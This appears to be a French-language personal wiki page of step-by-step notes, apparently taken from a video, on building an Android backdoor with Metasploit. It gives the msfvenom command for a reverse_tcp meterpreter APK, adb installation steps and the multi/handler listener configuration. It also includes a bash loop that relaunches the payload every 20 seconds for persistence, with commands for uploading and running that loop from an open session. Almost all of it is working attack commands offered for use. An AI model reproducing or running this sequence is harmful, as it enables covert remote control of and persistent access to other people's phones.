Android payload

from https://www.youtube.com/watch?v=AT-1_uJjA7M

commencer par créer une application malveillante a laide de msfvenom

port et ip du pc host
lhost=192.168.1.176
lport=45678

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.176 lport=45678 > ~/Desktop/payload.apk

le push dans un téléphone
adb push payload.apk sdcard/Download/

installer et lancer lapplication avec tout les droit

ouvrire la console sur le pc host

metasploit

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.176
set lport 45678
run

quand un appareil sera connecter il ouvrira une meterpreter session

Commande pour avoir les info sur lappareil
sysinfo

on va rendre le payload persistant a laide dun script

persistent.sh

```
#!/bin/bash
while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done
```

créer un script avec ce code

se connecter a une session (appareil avec le payload)

sessions -i 1
sessions -i x

quand on a "metrpreter > " nous somme dnas un appareil on peut utilsier cd et ls pour ce déplacer
on va a la racine puis sdcard et downlaod
cd /sdcard/Download

on upload le script
upload ~/github/androidpayload/persistent.sh

on utiliser la commande pour passer sur le terminal

shell

et on executer le fichier

sh persistent.sh

puis CTRL+Z pour passer le shell en background on confirme

commande backgroud pour mettre la session en arrere plan
background

Revision #2
Created 16 October 2025 00:22:00 by Foufure
Updated 16 October 2025 01:04:09 by Foufure